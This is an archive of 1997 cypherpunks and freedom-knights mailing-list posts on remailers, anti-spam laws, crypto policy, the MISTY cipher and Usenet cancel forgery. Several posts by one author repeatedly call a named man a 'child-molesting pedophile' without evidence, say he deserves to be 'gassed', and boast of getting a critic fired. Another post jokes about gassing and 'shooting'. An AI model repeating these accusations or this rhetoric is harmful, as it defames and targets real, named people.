)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 7 Aug 1997 02:33:34 +0800
To: kent@songbird.com
Subject: anti-spam law implies laws against remailers? (was Re: bulk postage fine)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <199708061705.SAA03362@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
> > Here's the sequence of events as I see it:
> > 
> >  1. spammer spams you with adverisement for phone sex line
> >  2. you try to sue phone sex line company
> >  3. phone sex company denies all knowledge
> >  4. government says all email must be authenticated 
> >  5. government issues internet drivers license
> >  6. anonymous remailers work around authentication requirement
> >  7. government outlaws remailers
> > 
> > See any flaws in that logical and undesirable sequence of events?
> 
> The flaws become apparent if you try to attach a *realistic*
> probability to each step.

Difficult to do.

However, consider:

1) Government anti-spam laws won't work (too many loop holes, #1 of
   which is there are other countries in the world other than US, #2 is
   remailers will be used which will leave remailer operator rather than
   spammer to face the music).

2) When the government or whoever wants to sue someone for spam they
   will have to prove who the spammer is.  (Right?)  So now they'll
   look at the From address at it will say remailer@foo.com.  So
   they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
   won't be able to cooperate because he doesn't keep logs.  They won't
   be happy with Fred, and will pass this information along to him by
   stealing his equipment, prosecuting him for assisting in a felony
   crime (they'll make it a felony right?), lock him and throw away
   the key.  But what about Freds constitutional protection of the
   speech forwarded by his remailer?  (Judge + congress-critter:
   Constitution wassat?)

3) Repeat step 2 x 100 and "something will have to be done" about the
   remailers (if there are any left!)  It really isn't that far
   fetched to have laws against remailers in the US.  Not so long ago
   the guy from the two-man band Georgia EFF were telling us about how
   they fought some law which had already tried to do this in that
   state.

4) New laws nearly always reduce your freedoms - in phrasing the law,
   and compromising their way around whatever "issues" they try to
   construct, they'll try to hide something else in there which we don't
   want.  (eg no encrypted email, or no import of crypto, or something
   stupidly unrelated -- happens all the time).

5) It's the net man, what do you want government officials crawling all
   over it, and lawyers arguing about it's content for?  It sets a bad
   precedent.

ps Kent, did you convert your rsa.midi to a .au file?  I haven't got
my /dev/midi configured properly under linux, but can play .au files,
and am dying to hear it :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Thu, 7 Aug 1997 09:25:59 +0800
To: cypherpunks@cyberpass.net
Subject: Links re. crypto in Canada
Message-ID: <9708070116.AA19886@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




A while ago, someone was asking about the status of cryptography in
Canada.  You may be interested in the following links, courtesy of
Electronic Frontier Canada's David Jones:

    EFC's Draft Statement on Canadian Cryptography Policy
       http://www.efc.ca/pages/crypto/policy.html

    Can you keep a secret? - Canadian Crypto: true, strong, free
       http://www.theconvergence.com/columns/djones/08021997/

    Entrust skirts export rules on encryption software
       http://www.efc.ca/pages/media/globe.29jul97.html

    Canadian Product Puts New Spin on Encryption Debate
       http://www.efc.ca/pages/media/nytimes.01aug97.html

    It's the law vs. privacy in high-tech debate
       http://www.efc.ca/pages/media/ottawa.citizen.06aug97a.html

--
Martin Janzen           janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 7 Aug 1997 10:37:52 +0800
To: cypherpunks@Algebra.COM
Subject: IG Farben and the Legitimate Needs of Law Enforcement
In-Reply-To: <199708062340.BAA24470@basement.replay.com>
Message-ID: <v03102804b00ee28139c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:40 PM -0700 8/6/97, Anonymous wrote:
>
>  When the gun-thievery began in earnest, the thieves still had to lie
>in bigger and bigger stages, tearing small, then larger, pieces off the
>Constitution at each step of their con game.
>  With privacy and freedom, however, we have now reached a stage where
>the pretense of democracy is perfunctory, with the fascists who are
>rattling the chains standing on the stage behind the speaker as he or
>she assures us that "imprisonment for life will be a _voluntary_
>requirement."

An early member of the Eric Conspiracy Research Labs, Eric Blair, correctly
noted the abuse of language that is necessary to make anything go down with
minimum fuss...

>  The person I really feel bad for is Tim May. He used to at least be
>able to tell people, "I told you so! Check the archives from my
>previous life, and..."
>  Prophecy loses its luster once _everybody_ can predict the future,
>and things have reached the point where everyone recognizes their
>cues in the march toward the "Tear-Stained Monologue" where, in an
>allegorical way, "The good-guy gets the girl. _I_ wind up dead."

Don't cry for me, Canada.

It was also obvious to me several years ago that things would reach a point
where everyone could see what was coming. The curare of the government has
of course paralyzed many.

Nothing left but the shooting.

(I have been arguing that CFP shut down their pointless conferences...the
same old same old repeated every year. Alas, they are still planning their
big shindig in Austin next year. )

>  Face it, we all know where the cattle-cars are going, but they are
>carrying _other_ people--for now.

However, there is a progress toward an industry-friendly consensus on the
export of IG Farben's products: Farben will receive Most Favored Gasser
status in exchange for assisting with the Legitimate Needs of Law
Enforcement.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 7 Aug 1997 08:54:41 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8FE38.476CD40@ssds.com>
Message-ID: <Pine.SOL.3.96.970806191823.1934B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 6 Aug 1997, Jim Burnes wrote:
> 
> Actually I have nothing against categorization.
(snip)

Then you have nothing against labelling.
> 
> As far as I'm concerned parents have a moral duty to filter what their
> little ones read, I just don't want the Feds or Microsoft deciding what
> the categories are.
> 
But it's ok for Barnes&Noble and Borders to decide what the categories
are?  And the Motion Picture Association of America? I'd suggest you 
must accept that parents will use whatever tools are available to
help them exercise their "moral duty", and if that means they choose
to let Bill Gates decide what the categories are, so what?

> Like I said -- most people who care about these things don't mind
> if people from their church take the kids to the bookstore.  I assume
> that they trust their values.
> 
Whose values, the churchmembers' or the bookstores'?  Either way, 
"don't mind" is different from "want to".

> On the other hand I don't want a "surgeon general's warning" on
> Lady Chatterly.  I know you think this is voluntary, but eventually
> some parents will get irate over little susie seeing something that
> they thought was inappropriately labeled.  A lawsuit will ensue
> and then voluntary will be a tautology for mandatory.

But you'll accept a categorization of Lady Chat?
> 
> It already is in the tax world.  And that, my friend, is the very
> thing that Orwell spoke of.  Change the language so that love
> means hate, peace means war, good is evil, volutary is mandatory.

There has never been a voluntary tax, that worked. "Tax" and "volunteer"
are mutually exclusive terms.

> As much as I detest censorship I don't have a problem with parents
> deciding what their little kids should look at.  In fact I really like
> the idea of having churches sell their own filtering software.  What
> better way to check your values.

Now you're on to something. What better way to check your church's
values.

> I can't believe the churches haven't thought of this before.  Usually
> they don't miss a beat when it comes to generating funds for, ahem,
> noble causes.

They have, with regard to books, a long time ago. Admittedly, that
list didn't have anything to do with money, however.
> 
> Maybe I'll suggest it.

I don't think you need to:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 7 Aug 1997 08:15:42 +0800
To: cypherpunks@toad.com
Subject: Introduction of MISTY
Message-ID: <v031107a2b00ebd46a251@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: =?ISO-2022-JP?B?GyRCNUhJcCEhPV8bKEo=?= <yositake@iss.isl.melco.co.jp>
To: "'set-dev@terisa.com'" <set-dev@terisa.com>,
    "'set-discuss@lists.Commerce.Net'" <set-discuss@lists.Commerce.Net>
Cc: 'atsuhiro' <atsuhiro@iss.isl.melco.co.jp>,
    'etakeda' <etakeda@iss.isl.melco.co.jp>,
    'hirosato' <hirosato@iss.isl.melco.co.jp>,
    'kotaro' <kotaro@iss.isl.melco.co.jp>,
    'saeki' <m-saeki@iss.isl.melco.co.jp>,
    'maekawa' <maekawa@iss.isl.melco.co.jp>
Cc: 'matsui' <matsui@iss.isl.melco.co.jp>,
    'nakawaji' <nakawaji@iss.isl.melco.co.jp>,
    'sakagami' <sakagami@iss.isl.melco.co.jp>,
    'toka' <toka@iss.isl.melco.co.jp>,
    'yositake' <yositake@iss.isl.melco.co.jp>
Subject: Introduction of MISTY
Date: Wed, 6 Aug 1997 10:51:38 +0900
Mime-Version: 1.0
Sender: set-discuss-owner@iss.isl.melco.co.jp
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  set-discuss@lists.commerce.net
+----------------------------------------------------------------------+

Hello,

For those people who don't know MISTY, which is listed in "Algorithm
independence" of "Input requested for SET version 2.0 priorities",
please let me introduce it to you.

MISTY is a symmetric key cryptographic algorithm and has the following
excellent features:

(1)  Provable Security
    MISTY is mathematically proved to be strong enough against the
  two types of known cryptanalysis attack --- differential cryptanalysis
  and linear cryptanalysis.

(2)  High Performance
    MISTY has a parallel computation nature as an algorithm. So you can
  achieve high performance on both software and hardware. The algorithm
  itself does NOT depend on any special platforms.

You can also get the information about MISTY from the following Web pages.
    http://mitsubishielectric.com/TechShowcase/Text/tsText06.html
    http://www.melco.co.jp:80/rd_home/map/j_s/topics/new/misty_e.html

Please feel free to ask any questions to us. We would be happy to answer
your questions.


Jun Yoshitake

Senior Research Engineer
Information Security Department
Information Technology R & D Center
Mitsubishi Electric Corporation

5-1-1 Ofuna, Kamakura, Kanagawa 247, JAPAN
Phone : +81-467-41-2182,  FAX : +81-467-41-2138
yositake@iss.isl.melco.co.jp

-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to any person
or organization.  For further information send a mail message to
'set-discuss-request@lists.commerce.net' with 'help' (no quotations)
contained in the body of your message.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 08:32:59 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.93.970807015433.102A-100000@shirley>
Message-ID: <37H2ae9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Wed, 6 Aug 1997, Adam Back wrote:
>
> > Mark Grant <mark@unicorn.com> writes:
>
> [...]
>
> > > so all that a government need do to censor a particular site is to
> > > scan for those messages and issue cancels.
>
> > - I understand cancels are ignored a lot of places, due to problems with
> >   censorous people, and pranksters issuing tons of forged cancels.
>
> And alot like to use canceles.  If censorus groups (not neccery the
> goverment) starts canceling we may be able to create a resector like that
> used in news.admin.net-abuse.*

A clarification is in order:

The "resurrector" in news.admin.net-abuse.* is run by none other than
the child-molesting pedophile Chris Lewis.  It does NOT repost
cancelled articles when the author is someone Lewis doesn't like
- such as myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 09:23:59 +0800
To: cypherpunks@toad.com
Subject: Re: Forced Censorship vs. Fucking Your Brains Out
In-Reply-To: <199708062340.BAA24470@basement.replay.com>
Message-ID: <uRi2ae11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
>   Face it, we all know where the cattle-cars are going, but they are
> carrying _other_ people--for now. Child molesters, drug dealers, and
> similar robbing, raping, low-down vermin who shouldn't have any rights,
> anyway.

Yes - child molesting pedophiles like Chris Lewis deserve to be gassed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 7 Aug 1997 09:56:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Old Cryto stuff, (fwd)
Message-ID: <199708070147.UAA06482@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
> Date: Thu, 7 Aug 1997 10:53:04 +1000 (EST)
> Subject: Old Cryto stuff, 

> Can anybody suggest any good books on old cryto techniques ?? I'm finally 
> learning to program, along with the stuff i've got to learn as part of 
> the class i thought i would make a start on learning to code 
> crypotgraphic algorithms. I was after some old ones that are simple to 
> code in software. Unfortuently the one in the back of the Schnier book 
> are a little to complex for my limited programming knowledge so far. 
> 
> So can anybody help or will i just be ignored like i have been at other 
> times ? 

Dover makes several very inexpensive reprints of books that have at least
some historical impact.

Cryptanalysis: a study of ciphers and their solution
Helen Fouche' Gaines
ISBN 0-486-20097-3
$4.50

Some topics include:

transposition                              concealment devices
nihilist transposition                     the turning grille
substitution                               consonant-line short cut
miltiple alphabet                          gronsfelt, porta, & beaufort
kasiski method                             vigenere' decryption
periodic number cyphers

includes several frequency tables and other neat stuff in appendixes


Number Theory and It's History
Oystein Ore
isbn 0-486-65620-9
$9.95

Some topics include:

euclids algorism                           prime numbers
aliquot parts                              indeterminate problems
linear indeterminate                       diophantine equations
congruences                                wilson's theorem
eulers theorem                             converse of fermats theorem

Hope it helps.

                                                 Jim Choate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 10:07:46 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970802124946.15945@math.uiuc.edu>
Message-ID: <4DL2ae16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:
> >Yes, there are lots of folks who forge cancels for "inappropriate cross-
> >posts" in the "big 8".
>
> 	Not accepted ones.  They're treated as rogues, and asked to stop
> it, and you know it.

Net.Scum like Chris Lewis, Jan Isley, Tim Brown, Bob Curtis, etc are treated
as rogues by me and my friends and told to stop by me and my friends - and
if they don't stop, we usually get their plugs pulled.  Tim Skirvin defended
net-abuse by Jan Isley, just as he defends the "UDP" against UUNet.

> > Please be advised that all of Tim Skirvin's FAQs are full of lies (except
> > for the parts plagiarized from David Stodolsky :-).
>
> 	Umm, no.

Examples of lies in Tim Skirvin's Magnum Opus, the "Cancel FAQ" (what else):

1.


]What is a Cancelbot?
]
]	A Cancelbot is a program that searches for messages matching a
]certain pattern and sends out cancels for them all.
]
]
]Sounds cool.  Where do I get one?
]
]	If you have to ask, you don't get one.
]
]
]What?  Why not?

My cancelbot has been freely available for over 18 months.  I've pointed
this out repeatedly to Tim Skirvin who continues to provide an answer to
a truly frequently asked question that reflects Skirvin's view of what
the reality should be, rather than the reality.

2.

]What is Dave the Resurrector?
]
]	After a particularly obnoxious run of cancels from ixc.net,
]Chris Lewis decided that it was time to write a program to repost stuff
]that was cancelled on news.admin.net-abuse.misc.  The Resurrector, named
]Dave, was the result.
]
]	The effect of this is that cancels to news.admin.net-abuse.misc
]are not effective unless Chris says so.

It has been pointed out many times that Chris Lewis does NOT repost cancelled
articles when he doesn't like the authors, such as myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 11:20:26 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <Pine.LNX.3.93.970803113522.686F-100000@shirley>
Message-ID: <FRm2ae18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I'm sorry, I don't see how posting megabytes of noise every day can
> > swamp the content.
>
> You don't recall the poetry feastavil?  What about the sex groups for the
> less popular fetishes?

Can you hurt a person by sticking needles in a doll representing this person?
Possibly, if the person really believes this.

Why do people try to flood newsgroups with shit? (We can agree that some
do try to, whether they succed or not). Most of the time it happens because
some asshole is trying to take ownership of an unmoderated newsgroup and
disses people whom he's trying to silence.  Some of the assholes resort
to forging cancels; most limit their censorship to postmaster complaints,
false accusation of "spamming", and occasional mailbombs.

Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
falsely accuses various people of "spamming" his newsgroup, but hasn't
been caught forging cancels yet.  On the other hand Bob Curtis has taken
over alt.smokers.cigars and forges cancels for articles that merely
question his "ownership" of the newsgroup. Do read - it's very enlightening.

The biologist Garrett Hardin published an essay, _The Tragedy of the Commons_
in _Science_, Dec 13, 1968.  Many misguided people have NOT read the eassay,
but like to cite it.  They argue that according to Hardin, Usenet would be
used more "efficiently" if every newsgroup had an "owner" - a self-appointed
"mediator" (their favorite title - don't know what asshole first came up
with it). They try to assert property rights where they can't be enforced
and succed only in pissing off a lot of people whom they tried to censor.

If you were told that a formerly common meadow is now owned by a self-
appointed asshole who disses you, would you litter on the meadow, shit
and piss on it, and possibly dump toxic radioactive waste on it?  When
the self-appointed "owner" pisses off a lot of people, some of them
will - especially since they can get away with it.

This reminds me of the encosure movement in medieval England that sought
to make the use of common lands more "efficient" by privatizing them -
causing numerous peasants extreme misery.  Read your history.

The good news is that newsgroup floods don't really hurt anyone except
the egos of the assholes who claim to "own' the affected newsgroups.

> > Moreover, if such actions were indeed cause a problem, they would not be
> > eliminated with payments. Some people would be willing to spend money to
> > "flood" the net
>
> Here we aggry, porn4pron and others will still make a proffet from
> spamming.  Infact puting a cost to posting creates a biase aggainst
> unpopulare options and towards spam.  Indeed such a payment system would
> make the problem worce.

I like the idea of encouraging news readers to send e-cash (possibly via
anon remailers) to the posters whose writings they like and would like to
see more of.  This is a generalization of the discussion we had on the
cypherpunks list a few months ago, how companies could send e-cash to
Usenet posters who say good things about their products.

Porn4porn posts A LOT of crap in alt.sex.* and admits that it's crap.
It then asks the readers: instead of wading through our crap for free,
why not pay us to get the prn you're looking for?  And my response is:
why not just killfile the idiots, or why not choose to not select
their crap for reading - it's easily identifiable.

Do you remember all the talk about "intelligent internet agents" who were
supposed to look for stuff we're interested in - like the one that would
learn the user's tastes for music, and suggest more music that he'd
probably like; the one that learned the user's scheduling preferences to
manage his appointment calendar; well, here's an excellent idea for an
AI project for a master's thesis - write an agent that learns what the
user likes to read and finds it on Usenet (irrespective of where it's
posted) and doesn't bother showing the user what he doesn't want to read.

> > Instead of discouraging the behavior you don't like, encourage the
> > behavior you do like.
>
> [Nods]  The good old blow job prinisipul.

Yep. Works great with kids and animals.

> > I invite Adam and David to subscribe to the freedom-knights mailing list
> > (send 'subscribe freedom-knights@jetcafe.org' to majordomo@jetcafe.org)
> > if you want to continue this not-quite-crypto discussion there.
>
> I have attempted to do so in the past,  and will attempt to do so again.

There's some interesting discussion going on there in addition to my xposts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 11:18:53 +0800
To: freedom-knights@jetcafe.org
Subject: Qualcomm employee attacks the remailers
In-Reply-To: <25455.870651372@zelkova.qualcomm.com>
Message-ID: <w6o2ae20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Pomes <ppomes@Qualcomm.com> writes:

> |Paul Pomes sends me harrassing e-mail and quotes more obscenities from
> |the anonymous remailers:

such as:

]I take this all to mean that you are Master Cocksucker Dimwit Vulis?

> As you posted the obscenities in the first place I fail to understand your
> objections.


Lie from Pomes: I never in my life sent anything to this motherfucker.

Another lie from Pomes: a few days ago the motherfucker wrote:

]Subject: Re: Entrust Technologies's Solo - free download
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Cc: freedom-knights@jetcafe.org
]Date: Wed, 30 Jul 1997 09:13:52 -0700
]Message-Id: <9502.870279232@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]At 9:22 EDT on Wednesday, July 30, 1997, Dr.Dimitri Vulis KOTM wrote:
]
]|I ask everyone on these two forums to inform Northern Telecom Forgers /
]|Bell North Forgery Research / Entrust that we will boycott their
]|"security" products as long they continue to employ the child-molesting
]|pedophile Chris R. Lewis - the biggest forger on Usenet.
]
]Sorry, I'm afraid that honor belongs to you, Dimi.  What I will do is
]killfile you as also the biggest un-cultured twit on Usenet.  High honors
]of a sort.
]
]/pbp

Clearly Pomes lied about having killfiled me.

Pomes harrasses anonymous remailer operators: he has been complaining to
Jeff Berches's employer and upstream, contributing to his decision
to shut down the cajones remailer:

]To: abuse@hotwired.com, abuse@bbnplanet.net, remailer-admin@cajones.com
]        jeff@hotbox.com, ops@bbnplanet.com, toxic@content.org,
]        dgaudet-djg20@arctic.org
]From: Paul Pomes <ppomes@Qualcomm.com>

Tim Skirvin condones and supports net-abuse by Net.Scum like Pomes,
Hannigan, and Varshavchik.

Please tell Qualcomm what you think about their employee attacking
the anonymous remailers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 16:18:21 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970805162629.757B-100000@shirley>
Message-ID: <39q2ae27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Pedophile Chris Lewis is a content censor.
>
> I don't think Mr Lewis' algeded activerties with childeren have any
> validity to the argument.  Calling him a 'Pedophile' or any other name is
> not effective in changing my option about this mattor.

"Chris Lewis" is a common name.  "Pedophile Chris Lewis" serves to identify
the content censor who works for Bell North Forgery Research / Northen
Telecom Forgers and uses their facilities to forge Usenet cancels for
articles whose contents he doesn't like.

> >  There are dozens of other examples.
>
> As yet I have seen only the one, could you provide these other examples
> where Chris Lewis has perposly canceled posts that he dosn't like.

David, you're bordering on asciribing to me things I haven't said -
is you reading as bad as your writing?

I said, there were dozens of examples of cancel-forgers who claim to be
cancelling "spam" (i.e. multi-posts), but are in fact cancelling singly posted
articles whose contents they simply didn't like. Pedophile Chris Lewis is one
of many such content censors. Let's count the ones we find at
http://www.netscum.net: 1) Guy Macone 2) Sally Monde, 3) Tim Brown, 4) Bob
Curtis, 5) Sean Eric Fagan, 6) Nat Makarevitch, 7) Michael Horansky, 8) David
Howard, 9) Alex Bulan, 10) "Eric Dynamic", 11) John Milburn, 12) Gabriel
Krabbe, 13) Odd Einar Aurbakken, 14) Alan Reichert, 15) Andreas Kirchwitz, 16)
Dax Hutcheon, 17) James Gardner, 18) Otmar Lendl, 19) Henning Weede, 20) Ian
Goldberg, 21) Gregory Woodbury, 22) Bruce Lane, 23) Otto Makela, 24) Steve
Manes, 25) Rich Sauers, 26) Ralph Valentino, 27) Luis Echeverria, 28) Michael
S. Scheidell, 29) Matthias Scheler, 30) Wolfgang Schelongowski, 31) Dick
Depew, 32) Ed Hew, 33) George Nemeyer, 34) Edward Igoe, 35) Tom Phoenix, 36)
Michael Shields - that's 3 dozen, an there's probably twice as many more
listed on the Net.Scum pages. Check out Sally Monde: the lady claims to be a
heroin junky currently using methadone, she described how her Legal Aid lawyer
got a psychiatrist to convince the court that she's insane, so she's out of
jail and collecting SSI on mental disability - and she's forging cancels for
aricles she considers to be "racist crap". Do you want Sally to decide for you
what you're allowed to read vs. what's the forbodden "racist crap"?

> > > Since Dr Vulis is the newsadmin of that site, the question is quite valid
>
> > I would like to be able to tell
> > the rest of Usenet that these articles are not worth reading,
>
> And if thay should deside the what is not work reading is not worth
> storing?

My telling the readers of the affected newsgroups that an article posted
under my name isn't worth reading (e.g. because the car advertized as
being for sale has already been sold) is not a reason for news admins
(generally, a different group of people) to remove such an article from
their spool and to deprive their users of the ability to read that article
(e.g., to compare the asking prices for cars).  I'm not talking to
admins.  If they abuse my message by using it as a basis to remove
such articles from spool, then I'll be reluctant to issue it.

> > > Frees up diskspace + reducers propragtion.  May be a good thing.
> >
> > A spew spreads to almost all the servers there are in minutes.
>
> It seems to me more in the range of hours or days, esp in the case of
> uucp sites wich don't connect often.

This was the case many years ago.  These days, a spam propagates pretty
much everywhere because the cancels catch up with it.  The claim that
cancels save bandwidth is an outright lie.

> > > > We've got to receive repeated
> > > > blasts of forged cancels ten times the number of the offending posts?
> > >
> > > Ergh?  There is only one cancel per post.
> >
> > Were you around when Ausralia was knocked off the net by the cancels for th
> > Cantor and Siegel "spam"?
>
> There _is_ I'm talking about present tence.  Any anty spammer who dosn't
> follow the convention is going to be stopped or losse there account (eg
> David Richards).

David Richards is the sysop of the Ripco BBS in Chicago. He's been forging
cancels for dozens of articles he considers to be "off-topic" - see his
Net.Scum page at http://www.netscum.net/richard0.html.  He's been doing
this for months and no one's been able to stop him.

Scott Sadow's been forging cancels for months - he hasn't been stopped and
hasn't lost his account (see his Net.Scum page).

> >  Most of the forgers didn't follow the "$alz" convention (giving the
> > forged cancel the message-id "cancel.<original id>".
>
> I would argue that all cancels (not just 3rd party) should follow the
> message id protocol.

I would argue that all cancels should be ignored irrespective of message-id.

> And yes if thay set the reply-to: feild of the message to me I do consider
> it my post and cancelble from me.

To hell with cancels, but you should be able to issue a retraction nocem.

> > How about me posting under my own name or via an anonymous remailer, "Platy
> > is a spammer - complain to his ISP"?
>
> Both uws.edu.au and acmeonnline would know these complants are bogus.

I hope so.  A couple of weeks ago some scumbag posted via a remailer an
annoucement that "vulis@bwalk.dm.com" is responsible for some sort of
net-abuse. This address doesn't exist; nevertheless I received several
postmaster complaints about this address, giving detailed description of
the alleged abuse (junk mail, thousands of usenet articles, etc). One of
the complainers wrote from a work account - I tried to get him fired and
apparently succeeded :-) :-) :-)

> > How about if someone posted your credit card numbers to Usenet?
>
> I don't have a credit card for just that reson.  The creadit card securaty
> system is so fundermently flawed as to be the equiverlent of sticking a
> large sign on your forhead marked "ROB ME"

That's right, except in the U.S. various laws protect the consumer.
(The card issuer gets to eat the losses, and passes the cost to the
consumer whether or not he has a card :-)

Many Cabal supporters cite credit card numbers as the canonical example
of the kind of traffic that must be cancelled on sight. They're idiots.
Once a credit card # has been posted to Usenet, the card must be cancelled
at once to make it unusable. Cancelling the article won't make the number
"safe" again.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 16:18:16 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970805165910.757C-100000@shirley>
Message-ID: <XsT2ae28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I think the extreme aversion to censorship (like that displayed by imp
> > and myself) seldom arises in people who haven't themselves been victims
> > of censorship
>
> Dose threats from a multynatnatil corpration count?  Dose living in
> Austrlia count?

Evidently these haven't made you into a staunch opponent of censorship.
Perhaps if they did succeed in pulling your plug, you'd feel differently.

> > The current top "spam canceller", Rich Bland ("cosmo")
>
> Jem seems to have gotten to the top of the list now.

I haven't been tracking the forgers lately.  For those who don't know
John E. Milburn: he's an expatriate U.S. engineer who used to work in
South Korea and forge cancels from there in a variety of newsgroups
(like alt.religion.monica). I caught him forging a cancel for one of
my articles (for "homophobia" and "excessive cross-posting"). Milburn
lost his job in Korea last year (possibly because of the complaints
about his net-abuse) and announced his "retirement" from forging cancels.
